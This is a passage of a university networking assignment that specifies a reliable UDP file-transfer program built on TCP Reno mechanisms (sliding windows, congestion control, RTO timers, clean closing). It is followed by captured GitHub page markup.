passes it the ephemeral port number of its ‘connection’ socket as the data payload of the datagram. This datagram is sent using the ‘listening’ socket inherited from its parent, otherwise the client (whose socket is connected to the server’s ‘listening’ socket at the latter’s well-known port number) will reject it. This datagram must be backed up by the ARQ mechanism, and retransmitted in the event of loss. Note that if this datagram is indeed lost, the client might well time out and retransmit its original request message (the one carrying the file name). In this event, you must somehow ensure that the parent server does not mistake this retransmitted request for a new client coming in, and spawn off yet another child to handle it. How do you do that? It is potentially more involved than it might seem. I will be discussing this in class, as well as ‘race’ conditions that could potentially arise, depending on how you code the mechanisms I present. When the client receives the datagram carrying the ephemeral port number of the server’s ‘connection’ socket, it reconnects its socket to the server’s ‘connection’ socket, using IPserver and the ephemeral port number received in the datagram (see p.254). It now uses this reconnected socket to send the server an acknowledgment. Note that this implies that, in the event of the server timing out, it should retransmit two copies of its ‘ephemeral port number’ message, one on its ‘listening’ socket and the other on its ‘connection’ socket (why?). When the server receives the acknowledgment, it closes the ‘listening’ socket it inherited from its parent. The server can now commence the file transfer through its ‘connection’ socket. The net effect of all these binds and connects at server and client is that no ‘outsider’ UDP datagram (broadcast, multicast, unicast - fortuitously or maliciously) can now intrude on the communication between server and client. Starting with the first datagram sent out, the client behaves as follows. Whenever a datagram arrives, or an ACK is about to be sent out (or, indeed, the initial datagram to the server giving the filename for the transfer), the client uses some random number generator function random() (initialized by the client.in argument value seed) to decide with probability p (another client.in argument value) if the datagram or ACK should be discarded by way of simulating transmission loss across the network. (I will briefly discuss in class how you do this.) Adding reliability to UDP The mechanisms you are to implement are based on TCP Reno. These include : Reliable data transmission using ARQ sliding-windows, with Fast Retransmit. Flow control via receiver window advertisements. Congestion control that implements : SlowStart Congestion Avoidance (‘Additive-Increase/Multiplicative Decrease’ – AIMD) Fast Recovery (but without the window-inflation aspect of Fast Recovery) Only some, and by no means all, of the details for these are covered below. The rest will be presented in class, especially those concerning flow control and TCP Reno’s congestion control mechanisms in general : Slow Start, Congestion Avoidance, Fast Retransmit and Fast Recovery. Implement a timeout mechanism on the sender (server) side. This is available to you from Stevens, Section 22.5 . Note, however, that you will need to modify the basic driving mechanism of Figure 22.7 appropriately since the situation at the sender side is not a repetitive cycle of send-receive, but rather a straightforward progression of send-send-send-send- . . . . . . . . . . . Also, modify the RTT and RTO mechanisms of Section 22.5 as specified below. I will be discussing the details of these modifications and the reasons for them in class. Modify function rtt_stop (Fig. 22.13) so that it uses integer arithmetic rather than floating point. This will entail your also having to modify some of the variable and function parameter declarations throughout Section 22.5 from float to int, as appropriate. In the unprrt.h header file (Fig. 22.10) set : RTT_RXTMIN to 1000 msec. (1 sec. instead of the current value 3 sec.) RTT_RXTMAX to 3000 msec. (3 sec. instead of the current value 60 sec.) RTT_MAXNREXMT to 12 (instead of the current value 3) In function rtt_timeout (Fig. 22.14), after doubling the RTO in line 86, pass its value through the function rtt_minmax of Fig. 22.11 (somewhat along the lines of what is done in line 77 of rtt_stop, Fig. 22.13). Finally, note that with the modification to integer calculation of the smoothed RTT and its variation, and given the small RTT values you will experience on the cs / sbpub network, these calculations should probably now be done on a millisecond or even microsecond scale (rather than in seconds, as is the case with Stevens’ code). Otherwise, small measured RTTs could show up as 0 on a scale of seconds, yielding a negative result when we subtract the smoothed RTT from the measured RTT (line 72 of rtt_stop, Fig. 22.13). Report the details of your modifications to the code of Section 22.5 in the ReadMe file which you hand in with your code. We need to have a sender sliding window mechanism for the retransmission of lost datagrams; and a receiver sliding window in order to ensure correct sequencing of received file contents, and some measure of flow control. You should implement something based on TCP Reno’s mechanisms, with cumulative acknowledgments, receiver window advertisements, and a congestion control mechanism I will explain in detail in class. For a reference on TCP’s mechanisms generally, see W. Richard Stevens, TCP/IP Illustrated, Volume 1 , especially Sections 20.2 - 20.4 of Chapter 20 , and Sections 21.1 - 21.8 of Chapter 21 . Bear in mind that our sequence numbers should count datagrams, not bytes as in TCP. Remember that the sender and receiver window sizes have to be set according to the argument values in client.in and server.in, respectively. Whenever the sender window becomes full and so ‘locks’, the server should print out a message to that effect on stdout. Similarly, whenever the receiver window ‘locks’, the client should print out a message on stdout. Be aware of the potential for deadlock when the receiver window ‘locks’. This situation is handled by having the receiver process send a duplicate ACK which acts as a window update when its window opens again (see Figure 20.3 and the discussion about it in TCP/IP Illustrated). However, this is not enough, because ACKs are not backed up by a timeout mechanism in the event they are lost. So we will also need to implement a persist timer driving window probes in the sender process (see Sections 22.1 & 22.2 in Chapter 22 of TCP/IP Illustrated). Note that you do not have to worry about the Silly Window Syndrome discussed in Section 22.3 of TCP/IP Illustrated since the receiver process consumes ‘full sized’ 512-byte messages from the receiver buffer (see 3. below). Report on the details of the ARQ mechanism you implemented in the ReadMe file you hand in. Indeed, you should report on all the TCP mechanisms you implemented in the ReadMe file, both the ones discussed here, and the ones I will be discussing in class. Make your datagram payload a fixed 512 bytes, inclusive of the file transfer protocol header (which must, at the very least, carry: the sequence number of the datagram; ACKs; and advertised window notifications). The client reads the file contents in its receive buffer and prints them out on stdout using a separate thread. This thread sits in a repetitive loop till all the file contents have been printed out, doing the following. It samples from an exponential distribution with mean µ milliseconds (read from the client.in file), sleeps for that number of milliseconds; wakes up to read and print all in-order file contents available in the receive buffer at that point; samples again from the exponential distribution; sleeps; and so on. The formula -1 × µ × ln( random( ) ) , where ln is the natural logarithm, yields variates from an exponential distribution with mean µ, based on the uniformly-distributed variates over ( 0 , 1 ) returned by random(). Note that you will need to implement some sort of mutual exclusion/semaphore mechanism on the client side so that the thread that sleeps and wakes up to consume from the receive buffer is not updating the state variables of the buffer at the same time as the main thread reading from the socket and depositing into the buffer is doing the same. Furthermore, we need to ensure that the main thread does not effectively monopolize the semaphore (and thus lock out for prolonged periods of time) the sleeping thread when the latter wakes up. See the textbook, Section 26.7, ‘Mutexes: Mutual Exclusion’, pp.697-701. You might also find Section 26.8, ‘Condition Variables’, pp.701-705, useful. You will need to devise some way by which the sender can notify the receiver when it has sent the last datagram of the file transfer, without the receiver mistaking that EOF marker as part of the file contents. (Also, note that the last data segment could be a “short” segment of less than 512 bytes – your client needs to be able to handle this correctly somehow.) When the sender receives an ACK for the last datagram of the transfer, the (child) server terminates. The parent server has to take care of cleaning up zombie children. Note that if we want a clean closing, the client process cannot simply terminate when the receiver ACKs the last datagram. This ACK could be lost, which would leave the (child) server process ‘hanging’, timing out, and retransmitting the last datagram. TCP attempts to deal with this problem by means of the TIME_WAIT state. You should have your receiver process behave similarly, sticking around in something akin to a TIME_WAIT state in case in case it needs to retransmit the ACK. In the ReadMe file you hand in, report on how you dealt with the issues raised here: sender notifying receiver of the last datagram, clean closing, and so on. Output Some of the output required from your program has been described in the section Operation above. I expect you to provide further output – clear, well-structured, well-laid-out, concise but sufficient and helpful – in the client and server windows by means of which we can trace the correct evolution of your TCP’s behaviour in all its intricacies : information (e.g., sequence number) on datagrams and acks sent and dropped, window advertisements, datagram retransmissions (and why : dup acks or RTO); entering/exiting Slow Start and Congestion Avoidance, ssthresh and cwnd values; sender and receiver windows locking/unlocking; etc., etc. . . . . The onus is on you to convince us that the TCP mechanisms you implemented are working correctly. Too many students do not put sufficient thought, creative imagination, time or effort into this. It is not the TA’s nor my responsibility to sit staring at an essentially blank screen, trying to summon up our paranormal psychology skills to figure out if your TCP implementation is really working correctly in all its very intricate aspects, simply because the transferred file seems to be printing o.k. in the client window. Nor is it our responsibility to strain our eyes and our patience wading through a mountain of obscure, ill-structured, hyper-messy, debugging-style output because, for example, your effort-conserving concept of what is ‘suitable’ is to dump your debugging output on us, relevant, irrelevant, and everything in between.

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class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 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fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-fg-muted">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav id="global-nav" class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" data-turbo="false" href="/dashboard">Dashboard</a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-turbo="false" data-selected-links="/pulls /pulls/assigned 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alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;sign out&quot;,&quot;label&quot;:&quot;icon:logout&quot;}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;go to dashboard&quot;,&quot;label&quot;:&quot;icon:logo&quot;}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;create new&quot;,&quot;label&quot;:&quot;icon:add&quot;}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;show menu&quot;,&quot;label&quot;:&quot;icon:avatar&quot;}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&amp;v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary 